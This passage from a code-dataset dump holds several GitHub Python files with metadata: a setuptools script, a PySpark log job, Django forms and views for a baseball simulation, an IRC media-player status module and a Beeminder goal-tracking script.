"usage_type": "name"}, {"api_name": "rest_framework.serializers.CharField", "line_number": 13, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 13, "usage_type": "name"}, {"api_name": "rest_framework.serializers.FloatField", "line_number": 14, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 14, "usage_type": "name"}, {"api_name": "rest_framework.serializers.JSONField", "line_number": 15, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 15, "usage_type": "name"}, {"api_name": "models.Transaction", "line_number": 18, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ValidationError", "line_number": 29, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 29, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ValidationError", "line_number": 33, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 33, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ValidationError", "line_number": 45, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 45, "usage_type": "name"}, {"api_name": "credit_cards.models.CreditCard.objects.filter", "line_number": 47, "usage_type": "call"}, {"api_name": "credit_cards.models.CreditCard.objects", "line_number": 47, "usage_type": "attribute"}, {"api_name": "credit_cards.models.CreditCard", "line_number": 47, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ValidationError", "line_number": 52, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 52, "usage_type": "name"}, {"api_name": "credit_cards.models.CreditCard.objects.filter", "line_number": 54, "usage_type": "call"}, {"api_name": "credit_cards.models.CreditCard.objects", "line_number": 54, "usage_type": "attribute"}, {"api_name": "credit_cards.models.CreditCard", "line_number": 54, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ValidationError", "line_number": 59, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 59, "usage_type": "name"}, {"api_name": "models.Transaction.COMMISSION", "line_number": 62, "usage_type": "attribute"}, {"api_name": "models.Transaction", "line_number": 62, "usage_type": "name"}, {"api_name": "models.Transaction.objects.create", "line_number": 64, "usage_type": "call"}, {"api_name": "models.Transaction.objects", "line_number": 64, "usage_type": "attribute"}, {"api_name": "models.Transaction", "line_number": 64, "usage_type": "name"}, {"api_name": "models.Transaction.TRANSFER_TO_OTHER_BANK", "line_number": 68, "usage_type": "attribute"}, {"api_name": "models.Transaction", "line_number": 68, "usage_type": "name"}, {"api_name": "models.Transaction.COMMISSION", "line_number": 69, "usage_type": "attribute"}, {"api_name": "models.Transaction", "line_number": 69, "usage_type": "name"}, {"api_name": "models.Transaction.objects.create", "line_number": 76, "usage_type": "call"}, {"api_name": "models.Transaction.objects", "line_number": 76, "usage_type": "attribute"}, {"api_name": "models.Transaction", "line_number": 76, "usage_type": "name"}, {"api_name": "models.Transaction.TRANSFER", "line_number": 81, "usage_type": "attribute"}, {"api_name": "models.Transaction", "line_number": 81, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 86, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 86, "usage_type": "name"}, {"api_name": "rest_framework.serializers.HiddenField", "line_number": 87, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 87, "usage_type": "name"}, {"api_name": "rest_framework.serializers.CurrentUserDefault", "line_number": 87, "usage_type": "call"}, {"api_name": "models.Transaction", "line_number": 90, "usage_type": "name"}, {"api_name": "credit_cards.models.CreditCard.objects.filter", "line_number": 96, "usage_type": "call"}, {"api_name": "credit_cards.models.CreditCard.objects", "line_number": 96, "usage_type": "attribute"}, {"api_name": "credit_cards.models.CreditCard", "line_number": 96, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ValidationError", "line_number": 98, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 98, "usage_type": "name"}, {"api_name": "transactions.services.add_bonuses_to_card", "line_number": 100, "usage_type": "call"}, {"api_name": "models.Transaction.objects.create", "line_number": 101, "usage_type": "call"}, {"api_name": "models.Transaction.objects", "line_number": 101, "usage_type": "attribute"}, {"api_name": "models.Transaction", "line_number": 101, "usage_type": "name"}, {"api_name": "models.Transaction.PAYOUT", "line_number": 105, "usage_type": "attribute"}, {"api_name": "models.Transaction", "line_number": 105, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 110, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 110, "usage_type": "name"}, {"api_name": "credit_cards.models.CreditCard", "line_number": 112, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 121, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 121, "usage_type": "name"}, {"api_name": "models.Transaction", "line_number": 125, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 135, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 135, "usage_type": "name"}, {"api_name": "credit_cards.models.CreditCard", "line_number": 137, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 144, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 144, "usage_type": "name"}, {"api_name": "models.Transaction", "line_number": 148, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 159, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 159, "usage_type": "name"}, {"api_name": "credit_cards.models.CreditCard", "line_number": 161, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 165, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 165, "usage_type": "name"}, {"api_name": "models.Transaction", "line_number": 170, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 181, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 181, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 182, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 182, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 183, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 183, "usage_type": "name"}, {"api_name": "auth_.models.Profile", "line_number": 185, "usage_type": "name"}, {"api_name": "auth_.models.MainUser", "line_number": 194, "usage_type": "name"}, {"api_name": "models.Transaction", "line_number": 202, "usage_type": "name"}]}
{"seq_id": "25655885334", "text": "\"\"\"Install Time Series Analysis Package.\"\"\"\n\nimport setuptools\nimport os\n\n# Get the long description from the README file.\n_LONG_DESCRIPTION = \"tackling_crohns_disease_2023\"\nif os.path.exists(\"README.md\"):\n    with open('README.md') as fp:\n        _LONG_DESCRIPTION = fp.read()\n\nextras = {}\n\nextras[\"style\"] = [\"autoflake\", \"black\", \"flake8\", \"isort\"]\nextras[\"test\"] = [\"pytest\", \"pytest-cov\"]\n\nextras[\"dev\"] = extras[\"style\"] + extras[\"test\"]\n\n# Building list from requirements.txt\nroot_folder = os.path.dirname(os.path.realpath(__file__))\nrequirements_path = root_folder + '/requirements.txt'\ninstall_requires = []\nif os.path.isfile(requirements_path):\n    with open(requirements_path) as f:\n        install_requires = f.read().splitlines()\n\nsetuptools.setup(\n    name='tackling_crohns_disease_2023',\n    version='1.0.0',\n    description='tackling_crohns_disease_2023',\n    long_description=_LONG_DESCRIPTION,\n    long_description_content_type='text/markdown',\n    author='Feifan Fan',\n    packages=setuptools.find_packages(),\n    package_data={},\n    scripts=[],\n    install_requires=install_requires,\n    extras_require=extras,\n    classifiers=[\n    ]\n)\n", "repo_name": "frankfanff53/Imperial-FYP", "sub_path": "software_archive/setup.py", "file_name": "setup.py", "file_ext": "py", "file_size_in_byte": 1158, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "os.path.exists", "line_number": 8, "usage_type": "call"}, {"api_name": "os.path", "line_number": 8, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 20, "usage_type": "call"}, {"api_name": "os.path", "line_number": 20, "usage_type": "attribute"}, {"api_name": "os.path.realpath", "line_number": 20, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 23, "usage_type": "call"}, {"api_name": "os.path", "line_number": 23, "usage_type": "attribute"}, {"api_name": "setuptools.setup", "line_number": 27, "usage_type": "call"}, {"api_name": "setuptools.find_packages", "line_number": 34, "usage_type": "call"}]}
{"seq_id": "73071622026", "text": "from __future__ import print_function\nfrom pyspark.sql import SparkSession\nimport pyspark.sql.types as tp\nimport pyspark.sql.functions as fn\n\nspark_session = SparkSession\\\n                    .builder\\\n                    .enableHiveSupport()\\\n                    .appName(\"Task4\")\\\n                    .master(\"yarn\")\\\n                    .getOrCreate()\n\nspark_session.sparkContext.addFile('parse_tool.py')\n\nfrom parse_tool import parse_logs\n\n# User logs collection\nuser_logs = spark_session.sparkContext.textFile(\"/data/access_logs/big_log/\")\n\nparsed_logs = user_logs.map(parse_logs) \\\n                       .map(lambda parse_res : [\n                          parse_res[0] + '_' + parse_res[7],\n                          parse_res[3]\n                       ])\n\nschema = tp.StructType().add(\"user_id\", tp.StringType())\\\n                        .add(\"request_id\", tp.StringType())\n\nuser_log_df = spark_session.createDataFrame(parsed_logs, schema)\n\nuser_log_df_1 = user_log_df.alias(\"df_1\")\nuser_log_df_2 = user_log_df.alias(\"df_2\")\n\nis_request_to_id = fn.udf(lambda line : line.startswith('/id'), tp.BooleanType())\n\ntop_5 = user_log_df_1.groupBy(user_log_df.user_id) \\\n                     .count() \\\n                     .orderBy(fn.desc(\"count\")) \\\n                     .limit(100) \\\n                     .join(user_log_df_2, user_log_df_1.user_id == user_log_df_2.user_id) \\\n                     .filter(is_request_to_id(\"request_id\")) \\\n                     .groupBy(\"request_id\") \\\n                     .count() \\\n                     .orderBy(fn.desc(\"count\")) \\\n                     .take(5)\n\nfor request_id, count in top_5:\n    print(request_id, count, sep='\\t')", "repo_name": "DanAnastasyev/BigData", "sub_path": "Spark/task4.py", "file_name": "task4.py", "file_ext": "py", "file_size_in_byte": 1671, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "pyspark.sql.SparkSession.builder.enableHiveSupport", "line_number": 6, "usage_type": "call"}, {"api_name": "pyspark.sql.SparkSession.builder", "line_number": 6, "usage_type": "attribute"}, {"api_name": "pyspark.sql.SparkSession", "line_number": 6, "usage_type": "name"}, {"api_name": "parse_tool.parse_logs", "line_number": 20, "usage_type": "argument"}, {"api_name": "pyspark.sql.types.StructType", "line_number": 26, "usage_type": "call"}, {"api_name": "pyspark.sql.types", "line_number": 26, "usage_type": "name"}, {"api_name": "pyspark.sql.types.StringType", "line_number": 26, "usage_type": "call"}, {"api_name": "pyspark.sql.types.StringType", "line_number": 27, "usage_type": "call"}, {"api_name": "pyspark.sql.types", "line_number": 27, "usage_type": "name"}, {"api_name": "pyspark.sql.functions.udf", "line_number": 34, "usage_type": "call"}, {"api_name": "pyspark.sql.functions", "line_number": 34, "usage_type": "name"}, {"api_name": "pyspark.sql.types.BooleanType", "line_number": 34, "usage_type": "call"}, {"api_name": "pyspark.sql.types", "line_number": 34, "usage_type": "name"}, {"api_name": "pyspark.sql.functions.desc", "line_number": 38, "usage_type": "call"}, {"api_name": "pyspark.sql.functions", "line_number": 38, "usage_type": "name"}, {"api_name": "pyspark.sql.functions.desc", "line_number": 44, "usage_type": "call"}, {"api_name": "pyspark.sql.functions", "line_number": 44, "usage_type": "name"}]}
{"seq_id": "23077364227", "text": "from django import forms\n\nfrom comments.models import Komentarz\n\n\nclass FormKomentarz(forms.Form):\n    nick = forms.CharField()\n    email = forms.EmailField()\n    tytul = forms.CharField()\n    tresc = forms.CharField(widget=forms.Textarea())\n\n\nclass FormKomentarz2(forms.ModelForm):\n    class Meta:\n        model = Komentarz\n        fields = ('nick', 'email', 'tytul', 'tresc')\n\n\n", "repo_name": "wojciechpilip/django_kurs_all", "sub_path": "bocian/comments/forms.py", "file_name": "forms.py", "file_ext": "py", "file_size_in_byte": 380, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "django.forms.Form", "line_number": 6, "usage_type": "attribute"}, {"api_name": "django.forms", "line_number": 6, "usage_type": "name"}, {"api_name": "django.forms.CharField", "line_number": 7, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 7, "usage_type": "name"}, {"api_name": "django.forms.EmailField", "line_number": 8, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 8, "usage_type": "name"}, {"api_name": "django.forms.CharField", "line_number": 9, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 9, "usage_type": "name"}, {"api_name": "django.forms.CharField", "line_number": 10, "usage_type": "call"}, {"api_name": "django.forms", "line_number": 10, "usage_type": "name"}, {"api_name": "django.forms.Textarea", "line_number": 10, "usage_type": "call"}, {"api_name": "django.forms.ModelForm", "line_number": 13, "usage_type": "attribute"}, {"api_name": "django.forms", "line_number": 13, "usage_type": "name"}, {"api_name": "comments.models.Komentarz", "line_number": 15, "usage_type": "name"}]}
{"seq_id": "25023143366", "text": "import requests\r\nfrom bs4 import BeautifulSoup as bs\r\nfrom os.path import basename\r\n\r\nurl = 'http://localhost:13579/variables.html'\r\ndef return_now_watching():\r\n\tsoup = bs(requests.get(url).content)\r\n\treturn '\u0002\u00038::\u0003\u0002 I am now watching : \u0002\u00036{0} - {1} / {2} \u00038::\u0002'.format(\r\n\t\tbasename(soup.find(id='filepath').string).replace('_', ' '),\r\n\t\tsoup.find(id='positionstring').string,\r\n\t\tsoup.find(id='durationstring').string\r\n\t\t)\r\n", "repo_name": "CirnoIsTheStrongest/BiriBot", "sub_path": "modules/mpc.py", "file_name": "mpc.py", "file_ext": "py", "file_size_in_byte": 424, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 5, "dataset": "github-code", "pt": "81", "api": [{"api_name": "bs4.BeautifulSoup", "line_number": 7, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 7, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 9, "usage_type": "call"}]}
{"seq_id": "7828717160", "text": "from django.shortcuts import render\nfrom django.views.decorators.csrf import ensure_csrf_cookie\nimport requests\nimport json\nfrom django.http import JsonResponse, HttpResponseRedirect, HttpResponse\nfrom .form import TeamForm, PlayerForm, PitcherForm, BatterForm\n\n\ndef teamSelect(request):\n    teams = requests.get('http://buisness-api:8000/GetAllTeams')\n    teams_json = teams.json()\n    first_team = teams_json['teams'][0]['id']\n    batter_url = 'http://buisness-api:8000/GetBattersFromTeam/' + str(first_team)\n    batters = requests.get(batter_url)\n    batters_json = batters.json()\n    pitcher_url = 'http://buisness-api:8000/GetPitchersFromTeam/' + str(first_team)\n    pitchers = requests.get(pitcher_url)\n    pitchers_json = pitchers.json()\n\n    if len(list(teams_json['teams'])) > 0:\n        return render(request, \"views/index.html\", {'teams': teams_json['teams'], 'range': range(1, 10),\n                                                    'batters': batters_json['team'], 'pitchers': pitchers_json['team']})\n    else:\n        return render(request, \"views/index.html\")\n\n\n@ensure_csrf_cookie\ndef createRoster(request):\n    if request.method == 'POST':\n        playerForm = PlayerForm(request.POST)\n        pitcherForm = PitcherForm(request.POST)\n        batterForm = BatterForm(request.POST)\n        team_id = request.POST.get('team_select')\n\n        if playerForm.is_valid():\n            payload = {'first_name': request.POST.get('first_name'), 'last_name': request.POST.get('last_name')}\n            if pitcherForm.is_valid():\n                payload['opponents_free_bases'] = request.POST.get('opponents_free_bases')\n                payload['opponents_singles'] = request.POST.get('opponents_singles')\n                payload['opponents_doubles'] = request.POST.get('opponents_doubles')\n                payload['opponents_triples'] = request.POST.get('opponents_triples')\n                payload['opponents_homeruns'] = request.POST.get('opponents_homeruns')\n                payload['opponents_strikeouts'] = request.POST.get('opponents_strikeouts')\n                payload['opponents_at_bats'] = request.POST.get('opponents_at_bats')\n            else:\n                pitcherForm = PitcherForm()\n\n            if batterForm.is_valid():\n                payload['free_bases'] = request.POST.get('free_bases')\n                payload['singles'] = request.POST.get('singles')\n                payload['doubles'] = request.POST.get('doubles')\n                payload['triples'] = request.POST.get('triples')\n                payload['homeruns'] = request.POST.get('homeruns')\n                payload['strikeouts'] = request.POST.get('strikeouts')\n                payload['at_bats'] = request.POST.get('at_bats')\n            else:\n                batterForm = BatterForm()\n\n            req = requests.post('http://buisness-api:8000/addToRoster/' + str(team_id), data=payload)\n            req_json = req.json()\n            if req_json['status'] == 'success':\n                requests.get('http://localhost:8000/createRoster')\n        else:\n            playerForm = PlayerForm()\n            pitcherForm = PitcherForm()\n            batterForm = BatterForm()\n\n    else:\n        playerForm = PlayerForm()\n        pitcherForm = PitcherForm()\n        batterForm = BatterForm()\n\n\n    teams = requests.get('http://buisness-api:8000/GetAllTeams')\n    teams_json = teams.json()\n    first_team = teams_json['teams'][0]['id']\n    batter_url = 'http://buisness-api:8000/GetBattersFromTeam/' + str(first_team)\n    batters = requests.get(batter_url)\n    batters_json = batters.json()\n    pitcher_url = 'http://buisness-api:8000/GetPitchersFromTeam/' + str(first_team)\n    pitchers = requests.get(pitcher_url)\n    pitchers_json = pitchers.json()\n\n    if len(list(teams_json['teams'])) > 0:\n        return render(request, \"views/roster.html\", {'teams': teams_json['teams'], 'range': range(1, 10),\n                                                     'batters': batters_json['team'], 'pitchers': pitchers_json['team'],\n                                                     'playerForm': playerForm, 'pitcherForm': pitcherForm,\n                                                     'batterForm': batterForm})\n    else:\n        return render(request, \"views/roster.html\", {'playerForm': playerForm, 'pitcherForm': pitcherForm,\n                                                     'batterForm': batterForm})\n\n\ndef updateTeamSelect(request, pk):\n    url = 'http://buisness-api:8000/GetBattersFromTeam/' + str(pk)\n    batters = requests.get(url)\n    batters_json = batters.json()\n    team_data = {}\n    if batters_json['status'] == 'error' and batters_json['message'] == 'No batters on this team':\n        team_data['batters'] = []\n    else:\n        team_data['batters'] = batters_json['team']\n    pitcher_url = 'http://buisness-api:8000/GetPitchersFromTeam/' + str(pk)\n    pitchers = requests.get(pitcher_url)\n    pitchers_json = pitchers.json()\n    if pitchers_json['status'] == 'error' and pitchers_json['message'] == 'No pitchers on this team':\n        team_data['pitchers'] = []\n    else:\n        team_data['pitchers'] = pitchers_json['team']\n    return JsonResponse(team_data)\n\n\n@ensure_csrf_cookie\ndef createTeam(request):\n    if request.method == 'POST':\n        form = TeamForm(request.POST)\n        if form.is_valid():\n            payload = {'team_name': request.POST.get('team_name'), 'professional': request.POST.get('professional')}\n            req = requests.post('http://buisness-api:8000/createTeam', data=payload)\n            req_json = req.json()\n\n            return HttpResponseRedirect(\"/\", req_json)\n    else:\n        form = TeamForm()\n\n    teams = requests.get('http://buisness-api:8000/GetAllTeams')\n    teams_json = teams.json()\n\n    return render(request, \"views/newTeam.html\", {'form': form, 'teams': teams_json['teams']})\n\n\ndef viewTeams(request):\n    teams = requests.get('http://buisness-api:8000/GetAllTeams')\n    teams_json = teams.json()\n    if teams_json['status'] == \"success\":\n        return render(request, \"views/viewTeams.html\", {'teams': teams_json['teams'], 'errors': \"\"})\n    else:\n        return render(request, \"views/viewTeams.html\", {'teams': teams_json['teams'], 'errors': teams_json['message']})\n\n\ndef viewTeam(request, pk):\n    team = requests.get('http://buisness-api:8000/GetTeam/' + pk)\n    team_json = team.json()\n    errors = \"\"\n    if team_json['status'] == \"success\":\n\n        batter_url = 'http://buisness-api:8000/GetBattersFromTeam/' + pk\n        batters = requests.get(batter_url)\n        batters_json = batters.json()\n        if batters_json['status'] == \"error\":\n            errors += \"No Batter Data for the \" + team_json['teams']['team_name'] + \".\"\n            batters_json['team'] = []\n        pitcher_url = 'http://buisness-api:8000/GetPitchersFromTeam/' + pk\n        pitchers = requests.get(pitcher_url)\n        pitchers_json = pitchers.json()\n\n        if pitchers_json['status'] == \"error\":\n            errors += \" No pitcher data for the \" + team_json['teams']['team_name'] + \".\"\n            pitchers_json['team'] = []\n\n        return render(request, \"views/viewTeam.html\", {'team': team_json['teams'], 'batters': batters_json['team'],\n                                                       'pitchers': pitchers_json['team'], 'errors': errors})\n\n    else:\n        errors += \"There is no team with team id \" + pk + \".\"\n\n    return render(request, \"views/viewTeam.html\", {'team': {'team_name': \"Not Available\"}, 'batters': [],\n                                                   'pitchers': [], 'errors': errors})\n\n\ndef viewPlayers(request):\n    req = requests.get(\"http://buisness-api:8000/GetAllPlayers\")\n    req_json = req.json()\n    errors = \"\"\n    if req_json['status'] == \"errors\":\n        errors = req_json['message']\n    return render(request, \"views/viewPlayers.html\", {'players': req_json['players'], 'errors': errors})\n\n\ndef viewPlayer(request, pk):\n    req = requests.get(\"http://buisness-api:8000/GetPlayerData/\" + pk)\n    req_json = req.json()\n    errors = req_json['message']\n    if req_json['status'] == \"errors\":\n        errors = req_json['message']\n        return render(request, \"views/viewPlayer.html\", {'players': [], 'errors': errors, 'pitcher': [], 'batter': []})\n    else:\n        return render(request, \"views/viewPlayer.html\", {'player': req_json['data']['player'], 'errors': errors,\n                                                         'pitcher': req_json['data']['pitcher'],\n                                                         'batter': req_json['data']['batter']})\n", "repo_name": "dcb9bs/BaseballSimulationWeb", "sub_path": "FrontEnd/views/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 8543, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "requests.get", "line_number": 10, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 14, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 17, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 21, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 24, "usage_type": "call"}, {"api_name": "form.PlayerForm", "line_number": 30, "usage_type": "call"}, {"api_name": "form.PitcherForm", "line_number": 31, "usage_type": "call"}, {"api_name": "form.BatterForm", "line_number": 32, "usage_type": "call"}, {"api_name": "form.PitcherForm", "line_number": 46, "usage_type": "call"}, {"api_name": "form.BatterForm", "line_number": 57, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 59, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 62, "usage_type": "call"}, {"api_name": "form.PlayerForm", "line_number": 64, "usage_type": "call"}, {"api_name": "form.PitcherForm", "line_number": 65, "usage_type": "call"}, {"api_name": "form.BatterForm", "line_number": 66, "usage_type": "call"}, {"api_name": "form.PlayerForm", "line_number": 69, "usage_type": "call"}, {"api_name": "form.PitcherForm", "line_number": 70, "usage_type": "call"}, {"api_name": "form.BatterForm", "line_number": 71, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 74, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 78, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 81, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 85, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 90, "usage_type": "call"}, {"api_name": "django.views.decorators.csrf.ensure_csrf_cookie", "line_number": 27, "usage_type": "name"}, {"api_name": "requests.get", "line_number": 96, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 104, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 110, "usage_type": "call"}, {"api_name": "form.TeamForm", "line_number": 116, "usage_type": "call"}, {"api_name": "form.is_valid", "line_number": 117, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 119, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 122, "usage_type": "call"}, {"api_name": "form.TeamForm", "line_number": 124, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 126, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 129, "usage_type": "call"}, {"api_name": "django.views.decorators.csrf.ensure_csrf_cookie", "line_number": 113, "usage_type": "name"}, {"api_name": "requests.get", "line_number": 133, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 136, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 138, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 142, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 148, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 154, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 161, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 167, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 172, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 177, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 181, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 186, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 188, "usage_type": "call"}]}
{"seq_id": "43233453531", "text": "import datetime\nimport json\nimport requests\n\nfrom vars import BEEMINDER_TOKEN, USERNAME\n\nURL = \"https://www.beeminder.com/api/v1/\"\n\n\nclass Goal:\n\n    def __init__(self, goal_dict=None, notion_db=None):\n        self.goal_type = None\n        self.__dict__ = goal_dict\n        if not hasattr(self, \"datapoints\"):\n            self.__dict__.update(self.__load_data_from_api())\n\n        self.datapoints = self.datapoints[::-1]\n\n        if notion_db:\n            self.__get_params_from_notion()\n\n        if not hasattr(self, \"buffer_threshold\"):\n            self.buffer_threshold = 3\n        if not hasattr(self, \"goal_rate\"):\n            self.goal_rate = None\n        if not hasattr(self, \"step_rate\"):\n            self.step_rate = None\n\n\n    @staticmethod\n    def get_user_goals_names():\n        goal_list = beeminder_api_call(\"/goals.json?auth_token=\" + BEEMINDER_TOKEN)\n        return goal_list\n\n    def __load_data_from_api(self):\n        data = beeminder_api_call(\"/goals/\" + self.slug + \".json?auth_token=\" + BEEMINDER_TOKEN + \"&datapoints=true\")\n        return data\n\n    def __get_params_from_notion(self):\n        self.step_rate = self.notion_row.step_rate\n        self.goal_rate = self.notion_row.goal_rate\n        self.buffer_threshold = self.notion_row.buffer_threshold\n\n\n    def cur_rate(self):\n\n        if self.goal_type in [\"hustler\", \"drinker\"]:\n\n            if self.runits == 'y':\n                period = 365\n            elif self.runits == 'm':\n                period = 30\n            elif self.runits == 'w':\n                period = 7\n            else:\n                return None\n\n            def get_past_timestamp(delta_days):\n                now = datetime.datetime.utcnow()\n                time = now - datetime.timedelta(days=delta_days)\n                return int(time.strftime('%Y%m%d'))\n\n            cutoff = get_past_timestamp(period)\n\n            sum = 0\n\n            for point in self.datapoints:\n                timestamp = int(point[\"daystamp\"])\n                if timestamp < cutoff:\n                    return sum\n                sum += point['value']\n            return sum\n        else:\n            return 0\n\n    # Decides whether goal can increment based on actual rate vs rate limit\n    # returns boolean\n    def can_increment(self):\n        if not self.goal_rate:\n            return False\n\n        if self.goal_type == 'hustler':\n            return self.rate < self.goal_rate\n        elif self.goal_type == 'drinker':\n            return self.rate > self.goal_rate\n\n    # decides whether buffer is in a safe state\n    # returns boolean\n    def safe_buffer(self):\n        if not self.buffer_threshold:\n            return False\n\n        return self.buffer_threshold <= self.safebuf\n\n    # decides whether rate over last period is greater than set rate\n    def safe_rate(self):\n        if not self.goal_type in [\"hustler\", \"drinker\"]:\n           return True\n\n        cur_rate = self.cur_rate()\n        if self.goal_type == \"hustler\":\n            return cur_rate >= self.rate\n        elif self.goal_type == 'drinker':\n            return cur_rate <= self.rate\n\n    def safe_type(self):\n        return self.goal_type in [\"hustler\", \"drinker\"]\n\n    def safe_to_increment(self):\n        return self.safe_type() and self.can_increment() and self.safe_buffer() and self.safe_rate()\n\n    def increment_rate(self, dry_run=True):\n        new_rate = self.rate + self.step_rate\n        if (self.goal_type == \"hustler\" and new_rate > self.goal_rate) or (self.goal_type == \"drinker\" and new_rate < self.goal_rate):\n            new_rate = self.rate_limi\n\n\n        if not dry_run:\n            old_rate_end_date = (datetime.datetime.today() + datetime.timedelta(days=6)).strftime(\"%Y-%m-%d\")\n            new_rate_end_date = (datetime.datetime.today() + datetime.timedelta(days=3650)).strftime(\"%Y-%m-%d\")\n            self.roadall[-1][0] = old_rate_end_date\n            self.roadall.append([new_rate_end_date, None, new_rate])\n            payload = {\n                \"auth_token\": BEEMINDER_TOKEN,\n                \"roadall\": json.dumps(self.roadall)\n            }\n            beeminder_api_call(\"/goals/\" + self.slug + \".json\", payload=payload)\n\n        return new_rate\n\n    def entered_data_today(self):\n        last_daystamp = self.datapoints[0][\"daystamp\"]\n        todaystamp = datetime.date.today().strftime(\"%Y%m%d\")\n        return todaystamp == last_daystamp\n\n    def sync_notion_to_beeminder(self):\n        safe = (self.safe_buffer() or self.entered_data_today()) and bool(self.safebuf)\n        self.notion_row.safe = safe\n        self.notion_row.buffer_days = self.safebuf\n        self.notion_row.frequency = str(round(self.cur_rate(), 1)) + \"/\" + str(self.runits)\n        self.notion_row.rate = str(self.rate) + \"/\" + str(self.runits)\n\n\ndef beeminder_api_call(call_str, payload=None):\n    request_stub = URL + \"/users/\" + USERNAME\n    url = request_stub + call_str\n    if payload:\n        resp = requests.put(url, data=payload)\n    else:\n        resp = requests.get(url)\n\n    if resp.status_code != 200:\n        print(\"Error Code: %s\" % resp.status_code)\n        print(\"Error Text: %s\" % resp.text)\n        print(\"Request : %s\" % url)\n\n    return resp.json()\n\n\ndef get_all_goals():\n\n    goals = beeminder_api_call(\"/goals.json?auth_token=\" + BEEMINDER_TOKEN + \"&datapoints=true\")\n    return [Goal(goal_dict=goal) for goal in goals]\n\n\nif __name__ == '__main__':\n    goals = get_all_goals()\n    for goal in goals:\n        goal.sync_notion_to_beeminder()", "repo_name": "Zacharius/beeminder", "sub_path": "goal.py", "file_name": "goal.py", "file_ext": "py", "file_size_in_byte": 5473, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "vars.BEEMINDER_TOKEN", "line_number": 33, "usage_type": "name"}, {"api_name": 